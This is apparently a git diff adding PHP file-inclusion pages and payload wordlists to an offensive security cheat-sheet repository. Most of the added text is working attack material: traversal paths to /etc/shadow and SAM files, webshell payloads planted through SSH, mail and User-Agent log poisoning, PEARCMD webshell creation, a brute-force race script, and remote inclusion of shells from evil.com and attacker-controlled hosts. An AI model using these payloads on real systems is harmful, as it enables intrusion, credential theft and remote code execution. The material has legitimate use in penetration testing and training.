import itertools
|
||||
import requests
|
||||
import string
|
||||
|
|
@ -666,6 +666,18 @@ users/.htpasswd
|
|||
/var/log/news/news.notice
|
||||
/var/log/news/suck.err
|
||||
/var/log/news/suck.notice
|
||||
/var/log/nginx/access_log
|
||||
/var/log/nginx/access.log
|
||||
../../../../../../../var/log/nginx/access_log
|
||||
../../../../../../../var/log/nginx/access.log
|
||||
../../../../../var/log/nginx/access_log
|
||||
../../../../../var/log/nginx/access.log
|
||||
/var/log/nginx/error_log
|
||||
/var/log/nginx/error.log
|
||||
../../../../../../../var/log/nginx/error_log
|
||||
../../../../../../../var/log/nginx/error.log
|
||||
../../../../../var/log/nginx/error_log
|
||||
../../../../../var/log/nginx/error.log
|
||||
/var/log/poplog
|
||||
/var/log/POPlog
|
||||
/var/log/proftpd
|
||||
|
|
@ -55,4 +55,8 @@
|
|||
/var/log/apache/error.log
|
||||
/var/log/apache/error_log
|
||||
/var/log/httpd/error_log
|
||||
/var/log/httpd/access_log
|
||||
/var/log/httpd/access_log
|
||||
/var/log/nginx/access_log
|
||||
/var/log/nginx/access.log
|
||||
/var/log/nginx/error_log
|
||||
/var/log/nginx/error.log
|
||||
|
|
@ -765,6 +765,20 @@ php://input
|
|||
/var/log/mysql/mysql-slow.log
|
||||
/var/log/mysql/mysql-slow.log
|
||||
/var/log/mysql/mysql-slow.log%00
|
||||
/var/log/nginx/access_log
|
||||
/var/log/nginx/access_log
|
||||
/var/log/nginx/access_log
|
||||
/var/log/nginx/access.log
|
||||
/var/log/nginx/access.log
|
||||
/var/log/nginx/access_log%00
|
||||
/var/log/nginx/access.log%00
|
||||
/var/log/nginx/error_log
|
||||
/var/log/nginx/error_log
|
||||
/var/log/nginx/error.log
|
||||
/var/log/nginx/error.log
|
||||
/var/log/nginx/error.log
|
||||
/var/log/nginx/error_log%00
|
||||
/var/log/nginx/error.log%00
|
||||
/var/log/proftpd
|
||||
/var/log/proftpd
|
||||
/var/log/proftpd%00
|
||||
|
|
@ -41,6 +41,10 @@
|
|||
/var/log/httpd/error_log%00
|
||||
/var/log/httpd/access_log%00
|
||||
/var/log/httpd/error_log%00
|
||||
/var/log/nginx/access_log%00
|
||||
/var/log/nginx/access.log%00
|
||||
/var/log/nginx/error_log%00
|
||||
/var/log/nginx/error.log%00
|
||||
/apache/logs/error.log%00
|
||||
/apache/logs/access.log%00
|
||||
/apache/logs/error.log%00
|
||||
|
|
@ -3,4 +3,6 @@
|
|||
/private/var/log/appstore.log
|
||||
/var/log/apache2/error_log
|
||||
/var/log/apache2/access_log
|
||||
/usr/local/nginx/conf/nginx.conf
|
||||
/usr/local/nginx/conf/nginx.conf
|
||||
/var/log/nginx/error_log
|
||||
/var/log/nginx/access_log
|
||||
0
File Inclusion - Path Traversal/Intruders/Traversal.txt → File Inclusion/Intruders/Traversal.txt
Executable file → Normal file
0
File Inclusion - Path Traversal/Intruders/Traversal.txt → File Inclusion/Intruders/Traversal.txt
Executable file → Normal file
|
|
@ -10,4 +10,5 @@ wp-admin.php
|
|||
/include/mysql.php
|
||||
/inc/mysql.php
|
||||
/sites/defaults/settings.php
|
||||
/phpmyadmin/changelog.php
|
||||
/phpmyadmin/changelog.php
|
||||
web.config
|
||||
50
File Inclusion/Intruders/php-filter-iconv.txt
Normal file
50
File Inclusion/Intruders/php-filter-iconv.txt
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
convert.iconv.437.CP930
|
||||
convert.iconv.CP1390.CSIBM932
|
||||
convert.iconv.CP273.CP1122
|
||||
convert.iconv.CP285.CP280
|
||||
convert.iconv.CSISO5427CYRILLIC.855
|
||||
convert.iconv.CSN_369103.CP770
|
||||
convert.iconv.CSUNICODE.CSUNICODE
|
||||
convert.iconv.CSUNICODE.UCS-2BE
|
||||
convert.iconv.ES.IBM037
|
||||
convert.iconv.ES.IBM930
|
||||
convert.iconv.IBM037.CP1250
|
||||
convert.iconv.IBM037.IBM256
|
||||
convert.iconv.IBM037.IBM280
|
||||
convert.iconv.IBM037.IBM860
|
||||
convert.iconv.IBM1122.IBM273
|
||||
convert.iconv.IBM1137.8859_1
|
||||
convert.iconv.IBM1141.8859_1
|
||||
convert.iconv.IBM1141.IBM4517
|
||||
convert.iconv.IBM1145.IBM850
|
||||
convert.iconv.IBM1148.EBCDIC-AT-DE-A
|
||||
convert.iconv.IBM1149.MAC-SAMI
|
||||
convert.iconv.IBM1390.IBM932
|
||||
convert.iconv.IBM1390.IBM939
|
||||
convert.iconv.IBM1399.IBM930
|
||||
convert.iconv.IBM256.IBM273
|
||||
convert.iconv.IBM273.CWI
|
||||
convert.iconv.IBM273.ES
|
||||
convert.iconv.IBM273.IBM420
|
||||
convert.iconv.IBM273.IT
|
||||
convert.iconv.IBM273.PT
|
||||
convert.iconv.IBM273.US
|
||||
convert.iconv.IBM277.ISO-8859-9E
|
||||
convert.iconv.IBM278.IBM861
|
||||
convert.iconv.IBM278.MIK
|
||||
convert.iconv.IBM284.IBM278
|
||||
convert.iconv.IBM297.IBM273
|
||||
convert.iconv.IBM297.IBM280
|
||||
convert.iconv.IBM4971.ARMSCII-8
|
||||
convert.iconv.IBM870.MAC-IS
|
||||
convert.iconv.L1.UCS-4
|
||||
convert.iconv.L1.UCS-4LE
|
||||
convert.iconv.L1.UTF16LE
|
||||
convert.iconv.L1.utf7
|
||||
convert.iconv.L1.UTF7
|
||||
convert.iconv.UCS-4LE.10646-1:1993
|
||||
convert.iconv.UTF16.UTF16
|
||||
convert.iconv..UTF7
|
||||
convert.iconv.UTF8.CP930
|
||||
convert.iconv.UTF8.IBM1140
|
||||
convert.iconv.VISCII.MSZ_7795.3
|
||||
303
File Inclusion/LFI-to-RCE.md
Normal file
303
File Inclusion/LFI-to-RCE.md
Normal file
|
|
@ -0,0 +1,303 @@
|
|||
# LFI to RCE
|
||||
|
||||
> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
|
||||
|
||||
## Summary
|
||||
|
||||
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
|
||||
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
||||
- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
|
||||
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
||||
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
||||
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
|
||||
- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
|
||||
- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
|
||||
- [RCE via SSH](#rce-via-ssh)
|
||||
- [RCE via Mail](#rce-via-mail)
|
||||
- [RCE via Apache logs](#rce-via-apache-logs)
|
||||
- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
|
||||
- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
|
||||
- [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)
|
||||
|
||||
## LFI to RCE via /proc/*/fd
|
||||
|
||||
1. Upload a lot of shells (for example : 100)
|
||||
2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.
|
||||
|
||||
```ps1
|
||||
http://example.com/index.php?page=/proc/$PID/fd/$FD
|
||||
```
|
||||
|
||||
## LFI to RCE via /proc/self/environ
|
||||
|
||||
Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file
|
||||
|
||||
```powershell
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
|
||||
## LFI to RCE via iconv
|
||||
|
||||
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
|
||||
|
||||
**Requirements**:
|
||||
|
||||
- PHP 7.0.0 (2015) to 8.3.7 (2024)
|
||||
- GNU C Library (`glibc`) <= 2.39
|
||||
- Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
|
||||
|
||||
**Exploit**:
|
||||
|
||||
- [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
|
||||
|
||||
## LFI to RCE via upload
|
||||
|
||||
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
|
||||
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
|
||||
|
||||
## LFI to RCE via upload (race)
|
||||
|
||||
- Upload a file and trigger a self-inclusion.
|
||||
- Repeat the upload a shitload of time to:
|
||||
- increase our odds of winning the race
|
||||
- increase our guessing odds
|
||||
- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
|
||||
- Enjoy our shell.
|
||||
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
|
||||
## LFI to RCE via upload (FindFirstFile)
|
||||
|
||||
:warning: Only works on Windows
|
||||
|
||||
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
|
||||
|
||||
- `*`/`<<` : Represents any sequence of characters.
|
||||
- `?`/`>` : Represents any single character.
|
||||
|
||||
Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
|
||||
Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
|
||||
|
||||
## LFI to RCE via phpinfo()
|
||||
|
||||
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
|
||||
|
||||
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
|
||||
|
||||
Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
## LFI to RCE via controlled log file
|
||||
|
||||
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=/var/log/apache/access.log
|
||||
http://example.com/index.php?page=/var/log/apache/error.log
|
||||
http://example.com/index.php?page=/var/log/apache2/access.log
|
||||
http://example.com/index.php?page=/var/log/apache2/error.log
|
||||
http://example.com/index.php?page=/var/log/nginx/access.log
|
||||
http://example.com/index.php?page=/var/log/nginx/error.log
|
||||
http://example.com/index.php?page=/var/log/vsftpd.log
|
||||
http://example.com/index.php?page=/var/log/sshd.log
|
||||
http://example.com/index.php?page=/var/log/mail
|
||||
http://example.com/index.php?page=/var/log/httpd/error_log
|
||||
http://example.com/index.php?page=/usr/local/apache/log/error_log
|
||||
http://example.com/index.php?page=/usr/local/apache2/log/error_log
|
||||
```
|
||||
|
||||
### RCE via SSH
|
||||
|
||||
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
|
||||
|
||||
```powershell
|
||||
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
|
||||
```
|
||||
|
||||
Then include the SSH log files inside the Web Application.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=/var/log/auth.log&cmd=id
|
||||
```
|
||||
|
||||
### RCE via Mail
|
||||
|
||||
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
|
||||
|
||||
```powershell
|
||||
root@kali:~# telnet 10.10.10.10. 25
|
||||
Trying 10.10.10.10....
|
||||
Connected to 10.10.10.10..
|
||||
Escape character is '^]'.
|
||||
220 straylight ESMTP Postfix (Debian/GNU)
|
||||
helo ok
|
||||
250 straylight
|
||||
mail from: mail@example.com
|
||||
250 2.1.0 Ok
|
||||
rcpt to: root
|
||||
250 2.1.5 Ok
|
||||
data
|
||||
354 End data with <CR><LF>.<CR><LF>
|
||||
subject: <?php echo system($_GET["cmd"]); ?>
|
||||
data2
|
||||
.
|
||||
```
|
||||
|
||||
In some cases you can also send the email with the `mail` command line.
|
||||
|
||||
```powershell
|
||||
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
||||
```
|
||||
|
||||
### RCE via Apache logs
|
||||
|
||||
Poison the User-Agent in access logs:
|
||||
|
||||
```ps1
|
||||
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
||||
```
|
||||
|
||||
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
||||
|
||||
Then request the logs via the LFI and execute your command.
|
||||
|
||||
```ps1
|
||||
curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
||||
```
|
||||
|
||||
## LFI to RCE via PHP sessions
|
||||
|
||||
Check if the website use PHP Session (PHPSESSID)
|
||||
|
||||
```javascript
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
|
||||
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
|
||||
|
||||
```javascript
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
|
||||
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
||||
|
||||
```powershell
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
|
||||
Use the LFI to include the PHP session file
|
||||
|
||||
```powershell
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
||||
```
|
||||
|
||||
## LFI to RCE via PHP PEARCMD
|
||||
|
||||
PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
|
||||
|
||||
The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
|
||||
|
||||
```ini
|
||||
register_argc_argv = On
|
||||
```
|
||||
|
||||
There are this ways to exploit it.
|
||||
|
||||
- **Method 1**: config create
|
||||
|
||||
```ps1
|
||||
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
|
||||
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
|
||||
```
|
||||
|
||||
- **Method 2**: man_dir
|
||||
|
||||
```ps1
|
||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
|
||||
/vuln.php?file=/tmp/exec.php&c=id
|
||||
```
|
||||
|
||||
The created configuration file contains the webshell.
|
||||
|
||||
```php
|
||||
#PEAR_Config 0.9
|
||||
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
|
||||
```
|
||||
|
||||
- **Method 3**: download (need external network connection).
|
||||
|
||||
```ps1
|
||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
|
||||
/vuln.php?file=exec.php&c=id
|
||||
```
|
||||
|
||||
- **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
|
||||
|
||||
```ps1
|
||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
|
||||
/vuln.php?file=/tmp/pear/download/exec.php&c=id
|
||||
```
|
||||
|
||||
## LFI to RCE via credentials files
|
||||
|
||||
This method require high privileges inside the application in order to read the sensitive files.
|
||||
|
||||
### Windows version
|
||||
|
||||
Extract `sam` and `system` files.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
|
||||
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
|
||||
```
|
||||
|
||||
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
|
||||
|
||||
### Linux version
|
||||
|
||||
Extract `/etc/shadow` files.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../../../../etc/shadow
|
||||
```
|
||||
|
||||
Then crack the hashes inside in order to login via SSH on the machine.
|
||||
|
||||
Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`.
|
||||
If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home.
|
||||
|
||||
## References
|
||||
|
||||
- [LFI WITH PHPINFO() ASSISTANCE - Brett Moore - September 2011](https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
|
||||
- [LFI2RCE via PHP Filters - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
|
||||
- [Local file inclusion tricks - Johan Adriaans - August 4, 2007](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
|
||||
- [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://gynvael.coldwind.pl/?id=376)
|
||||
- [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
- [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
|
||||
145
File Inclusion/README.md
Normal file
145
File Inclusion/README.md
Normal file
|
|
@ -0,0 +1,145 @@
|
|||
# File Inclusion
|
||||
|
||||
> A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Local File Inclusion](#local-file-inclusion)
|
||||
- [Null Byte](#null-byte)
|
||||
- [Double Encoding](#double-encoding)
|
||||
- [UTF-8 Encoding](#utf-8-encoding)
|
||||
- [Path Truncation](#path-truncation)
|
||||
- [Filter Bypass](#filter-bypass)
|
||||
- [Remote File Inclusion](#remote-file-inclusion)
|
||||
- [Null Byte](#null-byte-1)
|
||||
- [Double Encoding](#double-encoding-1)
|
||||
- [Bypass allow_url_include](#bypass-allow_url_include)
|
||||
- [Labs](#labs)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
- [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
|
||||
- [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
|
||||
- [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
|
||||
- [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
|
||||
- [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool
|
||||
|
||||
## Local File Inclusion
|
||||
|
||||
**File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
|
||||
|
||||
Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution.
|
||||
|
||||
```php
|
||||
<?php
|
||||
$file = $_GET['page'];
|
||||
include($file);
|
||||
?>
|
||||
```
|
||||
|
||||
In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
|
||||
### Null Byte
|
||||
|
||||
:warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
|
||||
**Example**: Joomla! Component Web TV 1.0 - CVE-2010-1470
|
||||
|
||||
```ps1
|
||||
{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
|
||||
```
|
||||
|
||||
### Double Encoding
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
|
||||
### UTF-8 Encoding
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
||||
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
|
||||
```
|
||||
|
||||
### Path Truncation
|
||||
|
||||
On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
|
||||
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
|
||||
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
|
||||
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
|
||||
```
|
||||
|
||||
### Filter Bypass
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||||
```
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
> Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
|
||||
|
||||
Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP 5.
|
||||
|
||||
```ini
|
||||
allow_url_include = On
|
||||
```
|
||||
|
||||
Most of the filter bypasses from LFI section can be reused for RFI.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=http://evil.com/shell.txt
|
||||
```
|
||||
|
||||
### Null Byte
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=http://evil.com/shell.txt%00
|
||||
```
|
||||
|
||||
### Double Encoding
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
|
||||
```
|
||||
|
||||
### Bypass allow_url_include
|
||||
|
||||
When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
|
||||
|
||||
1. Create a share open to everyone
|
||||
2. Write a PHP code inside a file : `shell.php`
|
||||
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
|
||||
|
||||
## Labs
|
||||
|
||||
- [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion)
|
||||
- [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding)
|
||||
- [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion)
|
||||
- [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters)
|
||||
|
||||
## References
|
||||
|
||||
- [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
||||
- [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)
|
||||
- [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
|
||||
- [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://highon.coffee/blog/lfi-cheat-sheet/)
|
||||
- [Testing for Local File Inclusion - OWASP - 25 June 2017](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
||||
- [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241)
|
||||
275
File Inclusion/Wrappers.md
Normal file
275
File Inclusion/Wrappers.md
Normal file
|
|
@ -0,0 +1,275 @@
|
|||
# Inclusion Using Wrappers
|
||||
|
||||
A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Wrapper php://filter](#wrapper-phpfilter)
|
||||
- [Wrapper data://](#wrapper-data)
|
||||
- [Wrapper expect://](#wrapper-expect)
|
||||
- [Wrapper input://](#wrapper-input)
|
||||
- [Wrapper zip://](#wrapper-zip)
|
||||
- [Wrapper phar://](#wrapper-phar)
|
||||
- [PHAR Archive Structure](#phar-archive-structure)
|
||||
- [PHAR Deserialization](#phar-deserialization)
|
||||
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
|
||||
- [Leak file content from error-based oracle](#leak-file-content-from-error-based-oracle)
|
||||
- [Leak file content inside a custom format output](#leak-file-content-inside-a-custom-format-output)
|
||||
- [References](#references)
|
||||
|
||||
## Wrapper php://filter
|
||||
|
||||
The part "`php://filter`" is case insensitive
|
||||
|
||||
| Filter | Description |
|
||||
| ------ | ----------- |
|
||||
| `php://filter/read=string.rot13/resource=index.php` | Display index.php as rot13 |
|
||||
| `php://filter/convert.iconv.utf-8.utf-16/resource=index.php` | Encode index.php from utf8 to utf16 |
|
||||
| `php://filter/convert.base64-encode/resource=index.php` | Display index.php as a base64 encoded string |
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
||||
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
|
||||
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
||||
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
||||
```
|
||||
|
||||
Wrappers can be chained with a compression wrapper for large files.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
||||
```
|
||||
|
||||
NOTE: Wrappers can be chained multiple times using `|` or `/`:
|
||||
|
||||
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
|
||||
- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
|
||||
|
||||
```powershell
|
||||
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
|
||||
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
|
||||
```
|
||||
|
||||
Also there is a way to turn the `php://filter` into a full RCE.
|
||||
|
||||
- [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
|
||||
|
||||
```powershell
|
||||
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
|
||||
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
|
||||
